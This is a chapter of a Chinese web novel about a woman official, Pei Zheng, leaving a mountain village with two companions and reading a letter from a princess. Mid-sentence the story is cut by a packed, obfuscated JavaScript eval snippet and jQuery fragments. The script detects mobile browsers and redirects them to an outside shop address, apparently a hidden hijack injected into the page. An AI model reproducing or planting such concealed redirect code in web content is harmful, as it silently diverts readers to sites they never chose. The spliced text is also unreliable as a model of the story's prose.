21. 第二十章 鸿雁衔春
作品:《鸾凤鸣》 晴好天气,竹窗大开,远处青山与楼下人声均入画内。裴徵的手下提着包袱走进门内,似是已打点好了启程的干粮。
今日要去土司处辞行,一大早裴徵就将官衣请了出来,不过是转头梳头的工夫,回过头时,楼见高就将她的绯袍穿上身了。
裴徵略一愣怔,一时失笑,端起手来,假意做个责备的神色。楼见高被她抓包,却不心虚,反而笑着晃了晃脑袋,把官帽喜滋滋地往头上戴去。袖口未扎,腰带也未束,宽袍大袖叫她穿个不伦不类。官帽上头,她更为得意,甩了下袖子,一把握住袖摆,将自己打量打量,说:“四品官衣也不过如此嘛。”
她咳了一声,背手摆出官老爷的架势:“堂下何人?”
裴徵摇了摇头,果不是官场之人,哪里分得清各种职官,只是听过话本子,就照样学来。
“休要胡闹。”裴徵说,走过去在她帽沿上敲了一记,笑道,“越制服衣,小心治你的罪。”
“啊!”楼见高捂住额头,又放下手斜睨她,说,“小小裴某,竟敢打本官的头,小心治你的罪。”
裴徵笑着又敲她一下,将官帽取下,端正摆放一旁。楼见高将官袍脱下,便倚在床边欣赏裴学府着衣。往日官衣皆有人服侍穿戴,如今哪能劳楼娘子那一双作诗的手,裴徵自己认真低头整理衣襟,系好扣子,转头对上楼见高目光就是一怔。
楼见高为裴徵的风姿没来由地高兴,看着就觉心里欢喜。对上裴徵视线,她将腿一收站直了,也不加解释,自去坐到床边,悬空晃悠着腿儿。裴徵又笑了笑,左右整了整袖口,将官帽取来戴上,又两手正了正冠。楼见高笑道:“好威风。”
裴徵回头看她,楼见高站起来,也学她模样整衣正冠。裴徵露出一个嗔怪的神色,说:“好爱打趣。我要去见土司辞行,你自己待一会儿可好?”
“难道我是孩童不成?”楼见高挑高眉头,掐住腰看她。裴徵一笑,说,“失礼了。”
“待回来我们就启程了,可不要在此时出去交游。”裴徵笑说。
“裴学府安心。”楼见高假模假样揖礼。
裴徵一笑,也回她一礼,这才拔步下楼。楼见高瞧着她的背影隐没,又走到窗边下望。她这样通身的气派,两路夷民也都来张望,真是仪表堂堂。楼见高定睛瞧她,从来张扬人,这时候眉宇间却见得平稳了,唇边依然带笑。好大风光,这官袍就是穿在女子的身上才叫好。
一直望到裴徵不见人影,她才回到屋中。忽然心中自成一句,楼见高两步抢到案边,提笔写下:
江流月色天边树,火烧枝头花上云。
眼中如见其景,正是裴徵的气度。楼见高凝神思之,犹觉不够。啮着笔头思索片刻,双眸星光一烁,又含笑落笔。
过了半个时辰裴徵方才回转,又将官衣换下,几人用过早饭,打点行囊。万事俱备,又捱了一阵子,仍是不见黎宁身影。裴徵在门外张望片刻,终是叹了口气,说:“我们走吧。”
楼见高偏偏头瞧她,裴徵回身,将要紧的贴身物事又检查一遍,与主人家辞行。门外骏马早已备好,这数日来在山民家中,竟养得又骠壮了几分。楼见高将自己贴身行李背了,裴徵的亲随原要替她拿,她没有依。
众人上马朝山坳而去,一路楼见高都见裴徵脸色并不明朗。她收回视线,往前望去,远远看见一大群人聚集在寨口,是来送行的寨民。裴徵看到楼见高忽然雀跃起来,夹了夹马腹,着急往前去,她不大会骑马,颠颠摇摇地就出去了。
裴徵为她操心不已,紧忙跟上,马行十数步,裴徵看到一个小小人影站在人堆中间,包袱带勒在胸前。裴徵一怔,这才明了,也笑了,一扯缰绳,催马上前,越过了楼见高。身后众随从跟上。
她翻身下马,又与土司见礼,低头望向黎宁。身旁女人在她后背上轻轻推了推,用夷语轻柔地说了句什么,黎宁便走过来了。裴徵心中感慨不已,感激地望向土司和黎宁的母亲,两人只是微笑。老土司张口说了些什么,旁边的女人侧首听,正是那位外出经商过的女人,她转头笑道:“土司说,她记得你的话,她很希望能看到那一天。黎宁想要和你们走。现在她就是你的妹妹、你的女儿了。”
裴徵这边应答公事,楼见高那边的光景截然不同。一位数日来有交往的夷女送了她一个民族纹绣的斜挎小布包,楼见高眼热黎宁的小包已久,欢欢喜喜挎上。周围女子都笑眯眯瞧她。楼见高一时想不到装什么,就把荷包解下来装进去,身旁人都抿唇笑,她不解,睁眼转头瞧她们,虽不清楚,也跟着莫名笑笑。
那边裴徵叙话告别毕,土司与寨民分开道路,裴徵牵着黎宁走回来。楼见高与众人告了别,蹦跳回马边,朝小黎宁招手,笑道:“来,小神童,姐姐带你。”
裴徵露出诧异神色。小黎宁也不知听懂没听懂,但铁定是个聪明人,大抵知道这么个颠颠摇摇的人并没有带人的能耐,没有走过去。裴徵思索间,旁边寨民牵来一匹枣红小马,纵是小马,也比黎宁高出不少。黎宁一跃,抓住马鞍,一个翻身就稳稳上了马,回头看向楼见高。
楼见高小噎了一下。黎宁也不多言语,就这样自作主张成了前队先行,一打马,轻盈地奔出去了。
裴徵错愕又转失笑,摇了摇头。眼望山外之路,郁郁葱葱,黎宁已跑进了林子里,驻马回头看向她们,精灵一般。这天地造就这么多灵秀女子,旅途方始,就叫她得了这样两个。一时间中途所有艰难都抛之脑后,只觉天清地明,裴徵转头笑看楼见高,打马跟上。
楼见高歪歪扭扭地跟上前,黎宁见众人跟上,又撒开马蹄。裴徵回头看向楼见高,人脸上带些小别扭。她笑着等了会儿,楼见高说:“若我长在山林中,也定是骑马极好的。”
裴徵笑说:“正是如此。”
黎宁自幼长在大山之中,又常随寨人出行赶集,对山路无比熟悉。有她带路,一路畅行无阻,比进来时不知道通达多少。途中多次引他们到山泉溪涧处取水,泉水甘甜无比。她还辨认收集草药,又用蒲叶卷成小杯,同行随从都不免惊奇。楼见高自己有水壶也不用了,站溪涧旁连饮三杯。
裴徵笑看她背影。若说三岁年龄相差无几,楼见高与她却有分别。若说三岁就是一好大沟壑了,她与黎宁却仿佛相差不多。正出神间,楼见高似乎有所察觉,回身敬她。裴徵失笑出声,楼见高笑着举起素手绿杯,手腕微倾,高悬一线倒入口中,抹嘴一笑。
黎宁抬头仰望她,看呆片刻,过了一会儿,衣襟湿湿地回来了。许是扭捏,装作无事的样子,也不与众人说话,翻身便上马,又拿出小向导的架势来。裴徵抿唇偷笑,转眼看楼见高,本想与她对一眼神,谁知看到楼见高两袖袖口尽湿透,遂笑着轻叹了口气。
一路无事,至黄昏时分她们才出大山,到了山脚县城中。几个接应的手下得到消息赶忙迎来,见她们平安无恙,一路欢欢喜喜,互通有无。这些日子,贺宣怀和江随风的应答诗早已传遍天下,裴徵在山中,一概不知,这时忽听此消息,一时有些惊讶。亲随附耳低声道:“学府,公主有信到。”
裴徵心中一跳,问道:“什么时候?”
“四日前。”亲随说。
“信在何处?”
“在房中谨慎保管,学府勿忧。”
“速速取来。”
信封微鼓,不似书信的样子。裴徵诧异,双手接过信封,手中重量却轻飘。身后楼见高与黎宁嬉闹,裴徵虽是迫不及待,但还是按捺住心情,待到洗去风尘安顿下来,这才拆开封口。
她轻轻倾倒,碎金笺露了一角,一片花瓣飘在手心上。裴徵心中一动,小心撑开封口,一朵干花轻轻坠落于书案上。
裴徵略微错愕,回头看了一眼。夜已深,楼见高青丝披散,盘坐于床上,与黎宁把玩算筹。裴徵轻轻展开京中信纸:
鸾凤诗已得,实乃不世才。已令教坊辅以曲韵,择日献于御前。若有新诗,速速寄回京中,莫要私自传扬,切记。若他日一飞冲天,此卿之功也。
四娘离京之时未及上巳,牡丹花尚含苞,今已极尽怒放。不知蜀地花开否,聊附一朵,与卿共赏。
想卿观此信时,必然已知驸马事。贺卿性温持重,宜配鸾凰。大婚定于秋期。
蜀道艰险,望卿珍重。每易一所,还望寄信。
裴徵捻起那朵干花,莞尔一笑。身后楼见高不
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16980597|193564||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
知何时悄悄踱步过来,吓了裴徵一跳。她忙将信纸按向胸前,转头笑看她。
“哪来的花儿?”楼见高说,又见裴徵模样,说,“鬼鬼祟祟,谁人寄信?拿来我看!”
裴徵“啪”一下拍掉她的手,笑道:“胡闹,此乃公文。”
“公文?”楼见高促狭看她,眯起眼睛,裴徵含笑而对,楼见高说,“双颊飞红,形态鬼祟……定是情郎诗。”
裴徵给她逗得一笑,看起来倒好似被说中了心事。楼见高便不高兴起来,背手走开了。走出两步,又回头说:“大女子岂能情情爱爱?裴学府叫我伤了心了。”
“越发胡说了。”裴徵说,将信笺收好,将信封递与她看,“此乃公主信,喏。”
楼见高探头来看,看得上面落款,果然是公主。这才放开眉头,摇了摇头,说:“裴学府定是儒家门生,对待君上如此肉麻。那公主到底什么样的人,怎么就能让你裴学府这样的折服?”
想裴徵已是天之骄子,比她还“高”上一等的,又待如何?
“光照华夏,凤仪九天。”裴徵笑道,“你若见了,也会折服。”
楼见高往床上一歪,抿抿嘴,说:“我却不信。”
她招惹小神童:“黎宁,小黎宁,你信不信?你会观天象,说一说,公主的那颗星星,如何?”
黎宁摇了摇头,裴徵和楼见高不知道她是什么意思。黎宁兀自组织了一会儿语言,说:“像祖母的星星。外面的气息,越来越变成我的家。”
裴徵心弦一动。
“上元节时找一只大灯笼将你装进去,高高地挂起来,就是一个好大的活灯谜。”楼见高说。
裴徵霎时失笑,想追问的话就忘却了。她朦胧中却有所觉,摸了摸黎宁的小脸儿,捋了捋她的头发。
黎宁年幼,又生在古朴山寨中,养成日出而作日落而息的习惯,如今盥洗过,早已犯困。裴徵与楼见高为她铺好床褥,小姑娘很快就睡着了。楼见高是个闲不住的性子,此时担心吵醒黎宁,又生无聊,不久便也睡去。
裴徵见她二人睡梦香甜,这才回到案前给公主回信。她将近几日寨中事一笔带过,报喜道楼见高、黎宁已得,又具述她二人令人惊讶的才华与性灵,不觉间竟已写满了三张信纸。香烛已烧至半截,裴徵回神过来,将自己笑了一笑,轻轻叹了口气。
她落笔收尾:
此地距渝州仍有千里之遥,翻山越岭,恐难通信,望公主勿以臣为念。渝州停数日,将往楚地,如有鸿雁,盼乞寄予江夏。纸短意长,缕陈过繁,诸希鉴宥。参商两地,希自珍卫。臣徵顿首。
她去包袱中将星图拿出,欲一并寄回。之前事发紧急,潦草临下,也是这时才得暇细看。裴徵并不大通星象,只是略知一点皮毛。何况黎宁的画法又不是标准的星图画法,小孩子涂鸦般的圈圈框框点点线线,就更叫人看不懂了。裴徵本就是略一过目,不由自主又去看那颗天权星。
这是北斗七星,那这里想必该是三垣,这里便是……
如此一来就有了些眉目,裴徵一一对应,不知不觉就看了进去。越看越发胆战心惊,两手不觉颤抖起来。裴徵屏气凝神,心跳如鼓。余光里烛光一跳,她惊出一身冷汗,一把将星图按在胸前。发觉是虚惊一场,仍是兀自喘息良久。
她心中惊疑不止,又将星图仔细看了。手心里尽是细汗。她定下心神,要将星图装入信封,折了一半,却又停了。不妥,不妥。山高水远,万一途中出什么差错,只怕人头不保。
裴徵又凝神片刻,这才平静下来。起身,将星图仔细封好,妥帖放在贴身行李中,长出了一口气。
烛火渐低。裴徵望向床上二人,一大一小睡得安稳,黑发如瀑散在枕畔,不过童稚与少年。她看了看自己的手,也是纤细一双,少女品格。她静静立了一会儿,不知在想什么。
烛灭了。最后一点火光忽闪了一下,映出裴徵包裹里一片流金。那是绯色官袍上的金线刺绣。上门辞行时,她与土司在火塘边相对而坐,老祖母干枯遒劲的手曾握住她的手,摩挲她纹金的窄袖。她问:“汉人如今也有女官了吗?”
裴徵说:“有。且会越来越多。”

